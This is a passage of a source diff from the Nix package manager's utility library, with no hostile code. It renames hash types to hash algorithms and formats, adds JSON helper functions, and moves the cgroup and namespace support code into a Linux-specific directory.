h2) const noexcept; - /* Check whether two hash are not equal. */ - bool operator != (const Hash & h2) const; + /** + * Compare how two hashes are ordered. + */ + std::strong_ordering operator <=> (const Hash & h2) const noexcept; - /* For sorting. */ - bool operator < (const Hash & h) const; - - /* Returns the length of a base-16 representation of this hash. */ - size_t base16Len() const + /** + * Returns the length of a base-16 representation of this hash. + */ + [[nodiscard]] size_t base16Len() const { return hashSize * 2; } - /* Returns the length of a base-32 representation of this hash. */ - size_t base32Len() const + /** + * Returns the length of a base-32 representation of this hash. + */ + [[nodiscard]] size_t base32Len() const { return (hashSize * 8 - 1) / 5 + 1; } - /* Returns the length of a base-64 representation of this hash. */ - size_t base64Len() const + /** + * Returns the length of a base-64 representation of this hash. + */ + [[nodiscard]] size_t base64Len() const { return ((4 * hashSize / 3) + 3) & ~3; } - /* Return a string representation of the hash, in base-16, base-32 - or base-64. By default, this is prefixed by the hash type - (e.g. "sha256:"). */ - std::string to_string(Base base, bool includeType) const; + /** + * Return a string representation of the hash, in base-16, base-32 + * or base-64. By default, this is prefixed by the hash algo + * (e.g. "sha256:"). + */ + [[nodiscard]] std::string to_string(HashFormat hashFormat, bool includeAlgo) const; - std::string gitRev() const + [[nodiscard]] std::string gitRev() const { - return to_string(Base16, false); + return to_string(HashFormat::Base16, false); } - std::string gitShortRev() const + [[nodiscard]] std::string gitShortRev() const { - return std::string(to_string(Base16, false), 0, 7); + return std::string(to_string(HashFormat::Base16, false), 0, 7); } static Hash dummy; + + /** + * @return a random hash with hash algorithm `algo` + */ + static Hash random(HashAlgorithm algo); }; -/* Helper that defaults empty hashes to the 0 hash. */ -Hash newHashAllowEmpty(std::string_view hashStr, std::optional ht); +/** + * Helper that defaults empty hashes to the 0 hash. + */ +Hash newHashAllowEmpty(std::string_view hashStr, std::optional ha); -/* Print a hash in base-16 if it's MD5, or base-32 otherwise. */ +/** + * Print a hash in base-16 if it's MD5, or base-32 otherwise. + */ std::string printHash16or32(const Hash & hash); -/* Compute the hash of the given string. */ -Hash hashString(HashType ht, std::string_view s); +/** + * Compute the hash of the given string. + */ +Hash hashString(HashAlgorithm ha, std::string_view s); -/* Compute the hash of the given file. */ -Hash hashFile(HashType ht, const Path & path); +/** + * Compute the hash of the given file, hashing its contents directly. + * + * (Metadata, such as the executable permission bit, is ignored.) + */ +Hash hashFile(HashAlgorithm ha, const Path & path); -/* Compute the hash of the given path. The hash is defined as - (essentially) hashString(ht, dumpPath(path)). */ +/** + * The final hash and the number of bytes digested. + * + * @todo Convert to proper struct + */ typedef std::pair HashResult; -HashResult hashPath(HashType ht, const Path & path, - PathFilter & filter = defaultPathFilter); -/* Compress a hash to the specified number of bytes by cyclically - XORing bytes together. */ +/** + * Compress a hash to the specified number of bytes by cyclically + * XORing bytes together. + */ Hash compressHash(const Hash & hash, unsigned int newSize); -/* Parse a string representing a hash type. */ -HashType parseHashType(std::string_view s); +/** + * Parse a string representing a hash format. + */ +HashFormat parseHashFormat(std::string_view hashFormatName); -/* Will return nothing on parse error */ -std::optional parseHashTypeOpt(std::string_view s); +/** + * std::optional version of parseHashFormat that doesn't throw error. + */ +std::optional parseHashFormatOpt(std::string_view hashFormatName); -/* And the reverse. */ -std::string printHashType(HashType ht); +/** + * The reverse of parseHashFormat. + */ +std::string_view printHashFormat(HashFormat hashFormat); + +/** + * Parse a string representing a hash algorithm. + */ +HashAlgorithm parseHashAlgo(std::string_view s); + +/** + * Will return nothing on parse error + */ +std::optional parseHashAlgoOpt(std::string_view s); + +/** + * And the reverse. + */ +std::string_view printHashAlgo(HashAlgorithm ha); union Ctx; @@ -146,15 +220,15 @@ struct AbstractHashSink : virtual Sink class HashSink : public BufferedSink, public AbstractHashSink { private: - HashType ht; + HashAlgorithm ha; Ctx * ctx; uint64_t bytes; public: - HashSink(HashType ht); + HashSink(HashAlgorithm ha); HashSink(const HashSink & h); ~HashSink(); - void write(std::string_view data) override; + void writeUnbuffered(std::string_view data) override; HashResult finish() override; HashResult currentHash(); }; diff --git a/src/libutil/hilite.hh b/src/libutil/hilite.hh index f8bdbfc55..2d5cf7c6f 100644 --- a/src/libutil/hilite.hh +++ b/src/libutil/hilite.hh @@ -1,4 +1,5 @@ #pragma once +///@file #include #include @@ -6,11 +7,13 @@ namespace nix { -/* Highlight all the given matches in the given string `s` by wrapping - them between `prefix` and `postfix`. - - If some matches overlap, then their union will be wrapped rather - than the individual matches. */ +/** + * Highlight all the given matches in the given string `s` by wrapping + * them between `prefix` and `postfix`. + * + * If some matches overlap, then their union will be wrapped rather + * than the individual matches. + */ std::string hiliteMatches( std::string_view s, std::vector matches, diff --git a/src/libutil/json-impls.hh b/src/libutil/json-impls.hh new file mode 100644 index 000000000..b26163a04 --- /dev/null +++ b/src/libutil/json-impls.hh @@ -0,0 +1,15 @@ +#pragma once +///@file + +#include "nlohmann/json_fwd.hpp" + +// Following https://github.com/nlohmann/json#how-can-i-use-get-for-non-default-constructiblenon-copyable-types +#define JSON_IMPL(TYPE) \ + namespace nlohmann { \ + using namespace nix; \ + template <> \ + struct adl_serializer { \ + static TYPE from_json(const json & json); \ + static void to_json(json & json, TYPE t); \ + }; \ + } diff --git a/src/libutil/json-utils.cc b/src/libutil/json-utils.cc new file mode 100644 index 000000000..dff068e07 --- /dev/null +++ b/src/libutil/json-utils.cc @@ -0,0 +1,130 @@ +#include "json-utils.hh" +#include "error.hh" +#include "types.hh" +#include +#include + +namespace nix { + +const nlohmann::json * get(const nlohmann::json & map, const std::string & key) +{ + auto i = map.find(key); + if (i == map.end()) return nullptr; + return &*i; +} + +nlohmann::json * get(nlohmann::json & map, const std::string & key) +{ + auto i = map.find(key); + if (i == map.end()) return nullptr; + return &*i; +} + +const nlohmann::json & valueAt( + const nlohmann::json::object_t & map, + const std::string & key) +{ + if (!map.contains(key)) + throw Error("Expected JSON object to contain key '%s' but it doesn't: %s", key, nlohmann::json(map).dump()); + + return map.at(key); +} + +std::optional optionalValueAt(const nlohmann::json::object_t & map, const std::string & key) +{ + if (!map.contains(key)) + return std::nullopt; + + return std::optional { map.at(key) }; +} + + +const nlohmann::json * getNullable(const nlohmann::json & value) +{ + return value.is_null() ? nullptr : &value; +} + +/** + * Ensure the type of a JSON object is what you expect, failing with a + * ensure type if it isn't. + * + * Use before type conversions and element access to avoid ugly + * exceptions, but only part of this module to define the other `get*` + * functions. It is too cumbersome and easy to forget to expect regular + * JSON code to use it directly. + */ +static const nlohmann::json & ensureType( + const nlohmann::json & value, + nlohmann::json::value_type expectedType + ) +{ + if (value.type() != expectedType) + throw Error( + "Expected JSON value to be of type '%s' but it is of type '%s': %s", + nlohmann::json(expectedType).type_name(), + value.type_name(), value.dump()); + + return value; +} + +const nlohmann::json::object_t & getObject(const nlohmann::json & value) +{ + return ensureType(value, nlohmann::json::value_t::object).get_ref(); +} + +const nlohmann::json::array_t & getArray(const nlohmann::json & value) +{ + return ensureType(value, nlohmann::json::value_t::array).get_ref(); +} + +const nlohmann::json::string_t & getString(const nlohmann::json & value) +{ + return ensureType(value, nlohmann::json::value_t::string).get_ref(); +} + +const nlohmann::json::number_integer_t & getInteger(const nlohmann::json & value) +{ + return ensureType(value, nlohmann::json::value_t::number_integer).get_ref(); +} + +const nlohmann::json::boolean_t & getBoolean(const nlohmann::json & value) +{ + return ensureType(value, nlohmann::json::value_t::boolean).get_ref(); +} + +Strings getStringList(const nlohmann::json & value) +{ + auto & jsonArray = getArray(value); + + Strings stringList; + + for (const auto & elem : jsonArray) + stringList.push_back(getString(elem)); + + return stringList; +} + +StringMap getStringMap(const nlohmann::json & value) +{ + auto & jsonObject = getObject(value); + + StringMap stringMap; + + for (const auto & [key, value] : jsonObject) + stringMap[getString(key)] = getString(value); + + return stringMap; +} + +StringSet getStringSet(const nlohmann::json & value) +{ + auto & jsonArray = getArray(value); + + StringSet stringSet; + + for (const auto & elem : jsonArray) + stringSet.insert(getString(elem)); + + return stringSet; +} +} diff --git a/src/libutil/json-utils.hh b/src/libutil/json-utils.hh index b8a031227..fe7a406cf 100644 --- a/src/libutil/json-utils.hh +++ b/src/libutil/json-utils.hh @@ -1,21 +1,116 @@ #pragma once +///@file #include +#include +#include + +#include "types.hh" namespace nix { -const nlohmann::json * get(const nlohmann::json & map, const std::string & key) -{ - auto i = map.find(key); - if (i == map.end()) return nullptr; - return &*i; -} +const nlohmann::json * get(const nlohmann::json & map, const std::string & key); -nlohmann::json * get(nlohmann::json & map, const std::string & key) -{ - auto i = map.find(key); - if (i == map.end()) return nullptr; - return &*i; -} +nlohmann::json * get(nlohmann::json & map, const std::string & key); + +/** + * Get the value of a json object at a key safely, failing with a nice + * error if the key does not exist. + * + * Use instead of nlohmann::json::at() to avoid ugly exceptions. + */ +const nlohmann::json & valueAt( + const nlohmann::json::object_t & map, + const std::string & key); + +std::optional optionalValueAt(const nlohmann::json::object_t & value, const std::string & key); + +/** + * Downcast the json object, failing with a nice error if the conversion fails. + * See https://json.nlohmann.me/features/types/ + */ +const nlohmann::json * getNullable(const nlohmann::json & value); +const nlohmann::json::object_t & getObject(const nlohmann::json & value); +const nlohmann::json::array_t & getArray(const nlohmann::json & value); +const nlohmann::json::string_t & getString(const nlohmann::json & value); +const nlohmann::json::number_integer_t & getInteger(const nlohmann::json & value); +const nlohmann::json::boolean_t & getBoolean(const nlohmann::json & value); +Strings getStringList(const nlohmann::json & value); +StringMap getStringMap(const nlohmann::json & value); +StringSet getStringSet(const nlohmann::json & value); + +/** + * For `adl_serializer>` below, we need to track what + * types are not already using `null`. Only for them can we use `null` + * to represent `std::nullopt`. + */ +template +struct json_avoids_null; + +/** + * Handle numbers in default impl + */ +template +struct json_avoids_null : std::bool_constant::value> {}; + +template<> +struct json_avoids_null : std::false_type {}; + +template<> +struct json_avoids_null : std::true_type {}; + +template<> +struct json_avoids_null : std::true_type {}; + +template +struct json_avoids_null> : std::true_type {}; + +template +struct json_avoids_null> : std::true_type {}; + +template +struct json_avoids_null> : std::true_type {}; + +} + +namespace nlohmann { + +/** + * This "instance" is widely requested, see + * https://github.com/nlohmann/json/issues/1749, but momentum has stalled + * out. Writing there here in Nix as a stop-gap. + * + * We need to make sure the underlying type does not use `null` for this to + * round trip. We do that with a static assert. + */ +template +struct adl_serializer> { + /** + * @brief Convert a JSON type to an `optional` treating + * `null` as `std::nullopt`. + */ + static void from_json(const json & json, std::optional & t) { + static_assert( + nix::json_avoids_null::value, + "null is already in use for underlying type's JSON"); + t = json.is_null() + ? std::nullopt + : std::make_optional(json.template get()); + } + + /** + * @brief Convert an optional type to a JSON type treating `std::nullopt` + * as `null`. + */ + static void to_json(json & json, const std::optional & t) { + static_assert( + nix::json_avoids_null::value, + "null is already in use for underlying type's JSON"); + if (t) + json = *t; + else + json = nullptr; + } +}; } diff --git a/src/libutil/cgroup.cc b/src/libutil/linux/cgroup.cc similarity index 87% rename from src/libutil/cgroup.cc rename to src/libutil/linux/cgroup.cc index a008481ca..140ff4566 100644 --- a/src/libutil/cgroup.cc +++ b/src/libutil/linux/cgroup.cc @@ -1,7 +1,7 @@ -#if __linux__ - #include "cgroup.hh" +#include "signals.hh" #include "util.hh" +#include "file-system.hh" #include "finally.hh" #include @@ -48,26 +48,27 @@ std::map getCgroups(const Path & cgroupFile) return cgroups; } -static CgroupStats destroyCgroup(const Path & cgroup, bool returnStats) +static CgroupStats destroyCgroup(const std::filesystem::path & cgroup, bool returnStats) { if (!pathExists(cgroup)) return {}; - auto procsFile = cgroup + "/cgroup.procs"; + auto procsFile = cgroup / "cgroup.procs"; if (!pathExists(procsFile)) throw Error("'%s' is not a cgroup", cgroup); /* Use the fast way to kill every process in a cgroup, if available. */ - auto killFile = cgroup + "/cgroup.kill"; + auto killFile = cgroup / "cgroup.kill"; if (pathExists(killFile)) writeFile(killFile, "1"); /* Otherwise, manually kill every process in the subcgroups and this cgroup. */ - for (auto & entry : readDirectory(cgroup)) { - if (entry.type != DT_DIR) continue; - destroyCgroup(cgroup + "/" + entry.name, false); + for (auto & entry : std::filesystem::directory_iterator{cgroup}) { + checkInterrupt(); + if (entry.symlink_status().type() != std::filesystem::file_type::directory) continue; + destroyCgroup(cgroup / entry.path().filename(), false); } int round = 1; @@ -94,7 +95,7 @@ static CgroupStats destroyCgroup(const Path & cgroup, bool returnStats) using namespace std::string_literals; warn("killing stray builder process %d (%s)...", pid, trim(replaceStrings(cmdline, "\0"s, " "))); - } catch (SysError &) { + } catch (SystemError &) { } } // FIXME: pid wraparound @@ -112,7 +113,7 @@ static CgroupStats destroyCgroup(const Path & cgroup, bool returnStats) CgroupStats stats; if (returnStats) { - auto cpustatPath = cgroup + "/cpu.stat"; + auto cpustatPath = cgroup / "cpu.stat"; if (pathExists(cpustatPath)) { for (auto & line : tokenizeString>(readFile(cpustatPath), "\n")) { @@ -144,5 +145,3 @@ CgroupStats destroyCgroup(const Path & cgroup) } } - -#endif diff --git a/src/libutil/cgroup.hh b/src/libutil/linux/cgroup.hh similarity index 60% rename from src/libutil/cgroup.hh rename to src/libutil/linux/cgroup.hh index d08c8ad29..783a0ab87 100644 --- a/src/libutil/cgroup.hh +++ b/src/libutil/linux/cgroup.hh @@ -1,6 +1,5 @@ #pragma once - -#if __linux__ +///@file #include #include @@ -18,12 +17,12 @@ struct CgroupStats std::optional cpuUser, cpuSystem; }; -/* Destroy the cgroup denoted by 'path'. The postcondition is that - 'path' does not exist, and thus any processes in the cgroup have - been killed. Also return statistics from the cgroup just before - destruction. */ +/** + * Destroy the cgroup denoted by 'path'. The postcondition is that + * 'path' does not exist, and thus any processes in the cgroup have + * been killed. Also return statistics from the cgroup just before + * destruction. + */ CgroupStats destroyCgroup(const Path & cgroup); } - -#endif diff --git a/src/libutil/linux/meson.build b/src/libutil/linux/meson.build new file mode 100644 index 000000000..a1ded76ca --- /dev/null +++ b/src/libutil/linux/meson.build @@ -0,0 +1,11 @@ +sources += files( + 'cgroup.cc', + 'namespaces.cc', +) + +include_dirs += include_directories('.') + +headers += files( + 'cgroup.hh', + 'namespaces.hh', +) diff --git a/src/libutil/linux/namespaces.cc b/src/libutil/linux/namespaces.cc new file mode 100644 index 000000000..d4766cbba --- /dev/null +++ b/src/libutil/linux/namespaces.cc @@ -0,0 +1,146 @@ +#include "current-process.hh" +#include "util.hh" +#include "finally.hh" +#include "file-system.hh" +#include "processes.hh" +#include "signals.hh" + +#include +#include +#include "cgroup.hh" + +#include + +namespace nix { + +bool userNamespacesSupported() +{ + static auto res = [&]() -> bool + { + if (!pathExists("/proc/self/ns/user")) { + debug("'/proc/self/ns/user' does not exist; your kernel was likely built without CONFIG_USER_NS=y"); + return false; + } + + Path maxUserNamespaces = "/proc/sys/user/max_user_namespaces"; + if (!pathExists(maxUserNamespaces) || + trim(readFile(maxUserNamespaces)) == "0") + { + debug("user namespaces appear to be disabled; check '/proc/sys/user/max_user_namespaces'"); + return false; + } + + Path procSysKernelUnprivilegedUsernsClone = "/proc/sys/kernel/unprivileged_userns_clone"; + if (pathExists(procSysKernelUnprivilegedUsernsClone) + && trim(readFile(procSysKernelUnprivilegedUsernsClone)) == "0") + { + debug("user namespaces appear to be disabled; check '/proc/sys/kernel/unprivileged_userns_clone'"); + return false; + } + + try { + Pid pid = startProcess([&]() + { + _exit(0); + }, { + .cloneFlags = CLONE_NEWUSER + }); + + auto r = pid.wait(); + assert(!r); + } catch (SysError & e) { + debug("user namespaces do not work on this system: %s", e.msg()); + return false; + } + + return true; + }(); + return res; +} + +bool mountAndPidNamespacesSupported() +{ + static auto res = [&]() -> bool + { + try { + + Pid pid = startProcess([&]() + { + /* Make sure we don't remount the parent's /proc. */ + if (mount(0, "/", 0, MS_PRIVATE | MS_REC, 0) == -1) + _exit(1); + + /* Test whether we can remount /proc. The kernel disallows + this if /proc is not fully visible, i.e. if there are + filesystems mounted on top of files inside /proc. See + https://lore.kernel.org/lkml/87tvsrjai0.fsf@xmission.com/T/. */ + if (mount("none", "/proc", "proc", 0, 0) == -1) + _exit(2); + + _exit(0); + }, { + .cloneFlags = CLONE_NEWNS | CLONE_NEWPID | (userNamespacesSupported() ? CLONE_NEWUSER : 0) + }); + + if (pid.wait()) { + debug("PID namespaces do not work on this system: cannot remount /proc"); + return false; + } + + } catch (SysError & e) { + debug("mount namespaces do not work on this system: %s", e.msg()); + return false; + } + + return true; + }(); + return res; +} + + +////////////////////////////////////////////////////////////////////// + +static AutoCloseFD fdSavedMountNamespace; +static AutoCloseFD fdSavedRoot; + +void saveMountNamespace() +{ + static std::once_flag done; + std::call_once(done, []() { + fdSavedMountNamespace = open("/proc/self/ns/mnt", O_RDONLY); + if (!fdSavedMountNamespace) + throw SysError("saving parent mount namespace"); + + fdSavedRoot = open("/proc/self/root", O_RDONLY); + }); +} + +void restoreMountNamespace() +{ + try { + auto savedCwd = absPath("."); + + if (fdSavedMountNamespace && setns(fdSavedMountNamespace.get(), CLONE_NEWNS) == -1) + throw SysError("restoring parent mount namespace"); + + if (fdSavedRoot) { + if (fchdir(fdSavedRoot.get())) + throw SysError("chdir into saved root"); + if (chroot(".")) + throw SysError("chroot into saved root"); + } + + if (chdir(savedCwd.c_str()) == -1) + throw SysError("restoring cwd"); + } catch (Error & e) { + debug(e.msg()); + } +} + +void tryUnshareFilesystem() +{ + if (unshare(CLONE_FS) != 0 && errno != EPERM && errno != ENOSYS) + throw SysError("unsharing filesystem state"); +} + +} diff --git a/src/libutil/linux/namespaces.hh b/src/libutil/linux/namespaces.hh new file mode 100644 index 000000000..208920b80 --- /dev/null +++ b/src/libutil/linux/namespaces.hh @@ -0,0 +1,35 @@ +#pragma once +///@file + +#include + +#include "types.hh" + +namespace nix { + +/** + * Save the current mount namespace. Ignored if called more than + * once. + */ +void saveMountNamespace(); + +/** + * Restore the mount namespace saved by saveMountNamespace(). Ignored + * if saveMountNamespace() was never called. + */ +void restoreMountNamespace(); + +/** + * Cause this thread to try to not share any FS attributes with the main + * thread, because this causes setns() in restoreMountNamespace() to + * fail. + * + * This is best effort -- EPERM and ENOSYS failures are just ignored. + */ +void tryUnshareFilesystem(); + +bool userNamespacesSupported(); + +bool mountAndPidNamespacesSupported(); + +} diff --git a/src/libutil/local.mk b/src/libutil/local.mk index f880c0fc5..e9b498e65 100644 --- a/src/libutil/local.mk +++ b/src/libutil/local.mk @@ -4,10 +4,41 @@ libutil_NAME = libnixutil libutil_DIR := $(d) -libutil_SOURCES := $(wildcard $(d)/*.cc) +libutil_SOURCES := $(wildcard $(d)/*.cc $(d)/signature/*.cc) +ifdef HOST_UNIX + libutil_SOURCES += $(wildcard $(d)/unix/*.cc) +endif +ifdef HOST_LINUX + libutil_SOURCES += $(wildcard $(d)/linux/*.cc) +endif +ifdef HOST_WINDOWS + libutil_SOURCES += $(wildcard $(d)/windows/*.cc) +endif + +# Not just for this library itself, but also for downstream libraries using this library + +INCLUDE_libutil := -I $(d) +ifdef HOST_UNIX + INCLUDE_libutil += -I $(d)/unix +endif +ifdef HOST_LINUX + INCLUDE_libutil += -I $(d)/linux +endif +ifdef HOST_WINDOWS + INCLUDE_libutil += -I $(d)/windows +endif +libutil_CXXFLAGS += $(INCLUDE_libutil) + +libutil_LDFLAGS += $(THREAD_LDFLAGS) $(LIBCURL_LIBS) $(SODIUM_LIBS) $(OPENSSL_LIBS) $(LIBBROTLI_LIBS) $(LIBARCHIVE_LIBS) $(BOOST_LDFLAGS) -lboost_context + +$(foreach i, $(wildcard $(d)/args/*.hh), \ + $(eval $(call install-file-in, $(i), $(includedir)/nix/args, 0644))) +$(foreach i, $(wildcard $(d)/signature/*.hh), \ + $(eval $(call install-file-in, $(i), $(includedir)/nix/signature, 0644))) -libutil_LDFLAGS += -pthread $(OPENSSL_LIBS) $(LIBBROTLI_LIBS) $(LIBARCHIVE_LIBS) $(BOOST_LDFLAGS) -lboost_context ifeq ($(HAVE_LIBCPUID), 1) - libutil_LDFLAGS += -lcpuid + libutil_LDFLAGS += -lcpuid endif + +$(eval $(call install-file-in, $(buildprefix)$(d)/nix-util.pc, $(libdir)/pkgconfig, 0644)) diff --git a/src/libutil/logging.cc b/src/libutil/logging.cc index 904ba6ebe..29427f2f6 100644 --- a/src/libutil/logging.cc +++ b/src/libutil/logging.cc @@ -1,8 +1,14 @@ #include "logging.hh" +#include "file-descriptor.hh" +#include "environment-variables.hh" +#include "terminal.hh" #include "util.hh" -#include "config.hh" +#include "config-global.hh" +#include "source-path.hh" +#include "position.hh" #include +#include #include #include @@ -32,7 +38,9 @@ void Logger::warn(const std::string & msg) void Logger::writeToStdout(std::string_view s) { - std::cout << s << "\n"; + Descriptor standard_out = getStandardOut(); + writeFull(standard_out, s); + writeFull(standard_out, "\n"); } class SimpleLogger : public Logger @@ -46,14 +54,14 @@ public: : printBuildLogs(printBuildLogs) { systemd = getEnv("IN_SYSTEMD") == "1"; - tty = shouldANSI(); + tty = isTTY(); } bool isVerbose() override { return printBuildLogs; } - void log(Verbosity lvl, const FormatOrString & fs) override + void log(Verbosity lvl, std::string_view s) override { if (lvl > verbosity) return; @@ -64,14 +72,15 @@ public: switch (lvl) { case lvlError: c = '3'; break; case lvlWarn: c = '4'; break; - case lvlInfo: c = '5'; break; + case lvlNotice: case lvlInfo: c = '5'; break; case lvlTalkative: case lvlChatty: c = '6'; break; - default: c = '7'; + case lvlDebug: case lvlVomit: c = '7'; break; + default: c = '7'; break; // should not happen, and missing enum case is reported by -Werror=switch-enum } prefix = std::string("<") + c + ">"; } - writeToStderr(prefix + filterANSIEscapes(fs.s, !tty) + "\n"); + writeToStderr(prefix + filterANSIEscapes(s, !tty) + "\n"); } void logEI(const ErrorInfo & ei) override @@ -84,7 +93,7 @@ public: void startActivity(ActivityId act, Verbosity lvl, ActivityType type, const std::string & s, const Fields & fields, ActivityId parent) - override + override { if (lvl <= verbosity && !s.empty()) log(lvl, s + "..."); @@ -108,8 +117,14 @@ Verbosity verbosity = lvlInfo; void writeToStderr(std::string_view s) { try { - writeFull(STDERR_FILENO, s, false); - } catch (SysError & e) { + writeFull( +#ifdef _WIN32 + GetStdHandle(STD_ERROR_HANDLE), +#else + STDERR_FILENO, +#endif + s, false); + } catch (SystemError & e) { /* Ignore failing writes to stderr. We need to ignore write errors to ensure that cleanup code that logs to stderr runs to completion if the other side of stderr has been closed @@ -124,20 +139,29 @@ Logger * makeSimpleLogger(bool printBuildLogs) std::atomic nextId{0}; +static uint64_t getPid() +{ +#ifndef _WIN32 + return getpid(); +#else + return GetCurrentProcessId(); +#endif +} + Activity::Activity(Logger & logger, Verbosity lvl, ActivityType type, const std::string & s, const Logger::Fields & fields, ActivityId parent) - : logger(logger), id(nextId++ + (((uint64_t) getpid()) << 32)) + : logger(logger), id(nextId++ + (((uint64_t) getPid()) << 32)) { logger.startActivity(id, lvl, type, s, fields, parent); } -void to_json(nlohmann::json & json, std::shared_ptr pos) +void to_json(nlohmann::json & json, std::shared_ptr pos) { if (pos) { json["line"] = pos->line; json["column"] = pos->column; std::ostringstream str; - pos->print(str); + pos->print(str, true); json["file"] = str.str(); } else { json["line"] = nullptr; @@ -165,7 +189,7 @@ struct JSONLogger : Logger { else if (f.type == Logger::Field::tString) arr.push_back(f.s); else - abort(); + unreachable(); } void write(const nlohmann::json & json) @@ -173,12 +197,12 @@ struct JSONLogger : Logger { prevLogger.log(lvlError, "@nix " + json.dump(-1, ' ', false, nlohmann::json::error_handler_t::replace)); } - void log(Verbosity lvl, const FormatOrString & fs) override + void log(Verbosity lvl, std::string_view s) override { nlohmann::json json; json["action"] = "msg"; json["level"] = lvl; - json["msg"] = fs.s; + json["msg"] = s; write(json); } @@ -192,7 +216,7 @@ struct JSONLogger : Logger { json["level"] = ei.level; json["msg"] = oss.str(); json["raw_msg"] = ei.msg.str(); - to_json(json, ei.errPos); + to_json(json, ei.pos); if (loggerSettings.showTrace.get() && !ei.traces.empty()) { nlohmann::json traces = nlohmann::json::array(); @@ -218,8 +242,8 @@ struct JSONLogger : Logger { json["level"] = lvl; json["type"] = type; json["text"] = s; + json["parent"] = parent; addFields(json, fields); - // FIXME: handle parent write(json); } diff --git a/src/libutil/logging.hh b/src/libutil/logging.hh index 4642c49f7..250f92099 100644 --- a/src/libutil/logging.hh +++ b/src/libutil/logging.hh @@ -1,6 +1,6 @@ #pragma once +///@file -#include "types.hh" #include "error.hh" #include "config.hh" @@ -22,6 +22,7 @@ typedef enum { actQueryPathInfo = 109, actPostBuildHook = 110, actBuildWaiting = 111, + actFetchTree = 112, } ActivityType; typedef enum { @@ -33,6 +34,7 @@ typedef enum { resProgress = 105, resSetExpected = 106, resPostBuildLogLine = 107, + resFetchStatus = 108, } ResultType; typedef uint64_t ActivityId; @@ -72,14 +74,17 @@ public: virtual void stop() { }; + virtual void pause() { }; + virtual void resume() { }; + // Whether the logger prints the whole build log virtual bool isVerbose() { return false; } - virtual void log(Verbosity lvl, const FormatOrString & fs) = 0; + virtual void log(Verbosity lvl, std::string_view s) = 0; - void log(const FormatOrString & fs) + void log(std::string_view s) { - log(lvlInfo, fs); + log(lvlInfo, s); } virtual void logEI(const ErrorInfo & ei) = 0; @@ -102,11 +107,9 @@ public: virtual void writeToStdout(std::string_view s); template - inline void cout(const std::string & fs, const Args & ... args) + inline void cout(const Args & ... args) { - boost::format f(fs); - formatHelper(f, args...); - writeToStdout(f.str()); + writeToStdout(fmt(args...)); } virtual std::optional ask(std::string_view s) @@ -116,6 +119,17 @@ public: { } }; +/** + * A variadic template that does nothing. + * + * Useful to call a function with each argument in a parameter pack. + */ +struct nop +{ + template nop(T...) + { } +}; + ActivityId getCurActivity(); void setCurActivity(const ActivityId activityId); @@ -181,12 +195,17 @@ bool handleJSONLogMessage(const std::string & msg, const Activity & act, std::map & activities, bool trusted); -extern Verbosity verbosity; /* suppress msgs > this */ +/** + * suppress msgs > this + */ +extern Verbosity verbosity; -/* Print a message with the standard ErrorInfo format. - In general, use these 'log' macros for reporting problems that may require user - intervention or that need more explanation. Use the 'print' macros for more - lightweight status messages. */ +/** + * Print a message with the standard ErrorInfo format. + * In general, use these 'log' macros for reporting problems that may require user + * intervention or that need more explanation. Use the 'print' macros for more + * lightweight status messages. + */ #define logErrorInfo(level, errorInfo...) \ do { \ if ((level) <= nix::verbosity) { \ @@ -197,9 +216,11 @@ extern Verbosity verbosity; /* suppress msgs > this */ #define logError(errorInfo...) logErrorInfo(lvlError, errorInfo) #define logWarning(errorInfo...) logErrorInfo(lvlWarn, errorInfo) -/* Print a string message if the current log level is at least the specified - level. Note that this has to be implemented as a macro to ensure that the - arguments are evaluated lazily. */ +/** + * Print a string message if the current log level is at least the specified + * level. Note that this has to be implemented as a macro to ensure that the + * arguments are evaluated lazily. + */ #define printMsgUsing(loggerParam, level, args...) \ do { \ auto __lvl = level; \ @@ -216,7 +237,9 @@ extern Verbosity verbosity; /* suppress msgs > this */ #define debug(args...) printMsg(lvlDebug, args) #define vomit(args...) printMsg(lvlVomit, args) -/* if verbosity >= lvlWarn, print a message with a yellow 'warning:' prefix. */ +/** + * if verbosity >= lvlWarn, print a message with a yellow 'warning:' prefix. + */ template inline void warn(const std::string & fs, const Args & ... args) { diff --git a/src/libutil/lru-cache.hh b/src/libutil/lru-cache.hh index 6ef4a3e06..6e14cac35 100644 --- a/src/libutil/lru-cache.hh +++ b/src/libutil/lru-cache.hh @@ -1,4 +1,5 @@ #pragma once +///@file #include #include @@ -7,7 +8,9 @@ namespace nix { -/* A simple least-recently used cache. Not thread-safe. */ +/** + * A simple least-recently used cache. Not thread-safe. + */ template class LRUCache { @@ -31,7 +34,9 @@ public: LRUCache(size_t capacity) : capacity(capacity) { } - /* Insert or upsert an item in the cache. */ + /** + * Insert or upsert an item in the cache. + */ void upsert(const Key & key, const Value & value) { if (capacity == 0) return; @@ -39,7 +44,9 @@ public: erase(key); if (data.size() >= capacity) { - /* Retire the oldest item. */ + /** + * Retire the oldest item. + */ auto oldest = lru.begin(); data.erase(*oldest); lru.erase(oldest); @@ -63,14 +70,18 @@ public: return true; } - /* Look up an item in the cache. If it exists, it becomes the most - recently used item. */ + /** + * Look up an item in the cache. If it exists, it becomes the most + * recently used item. + * */ std::optional get(const Key & key) { auto i = data.find(key); if (i == data.end()) return {}; - /* Move this item to the back of the LRU list. */ + /** + * Move this item to the back of the LRU list. + */ lru.erase(i->second.first.it); auto j = lru.insert(lru.end(), i); i->second.first.it = j; @@ -78,7 +89,7 @@ public: return i->second.second; } - size_t size() + size_t size() const { return data.size(); } diff --git a/src/libutil/memory-source-accessor.cc b/src/libutil/memory-source-accessor.cc new file mode 100644 index 000000000..c4eee1031 --- /dev/null +++ b/src/libutil/memory-source-accessor.cc @@ -0,0 +1,193 @@ +#include "memory-source-accessor.hh" + +namespace nix { + +MemorySourceAccessor::File * +MemorySourceAccessor::open(const CanonPath & path, std::optional create) +{ + File * cur = &root; + + bool newF = false; + + for (std::string_view name : path) + { + auto * curDirP = std::get_if(&cur->raw); + if (!curDirP) + return nullptr; + auto & curDir = *curDirP; + + auto i = curDir.contents.find(name); + if (i == curDir.contents.end()) { + if (!create) + return nullptr; + else { + newF = true; + i = curDir.contents.insert(i, { + std::string { name }, + File::Directory {}, + }); + } + } + cur = &i->second; + } + + if (newF && create) *cur = std::move(*create); + + return cur; +} + +std::string MemorySourceAccessor::readFile(const CanonPath & path) +{ + auto * f = open(path, std::nullopt); + if (!f) + throw Error("file '%s' does not exist", path); + if (auto * r = std::get_if(&f->raw)) + return r->contents; + else + throw Error("file '%s' is not a regular file", path); +} + +bool MemorySourceAccessor::pathExists(const CanonPath & path) +{ + return open(path, std::nullopt); +} + +MemorySourceAccessor::Stat MemorySourceAccessor::File::lstat() const +{ + return std::visit(overloaded { + [](const Regular & r) { + return Stat { + .type = tRegular, + .fileSize = 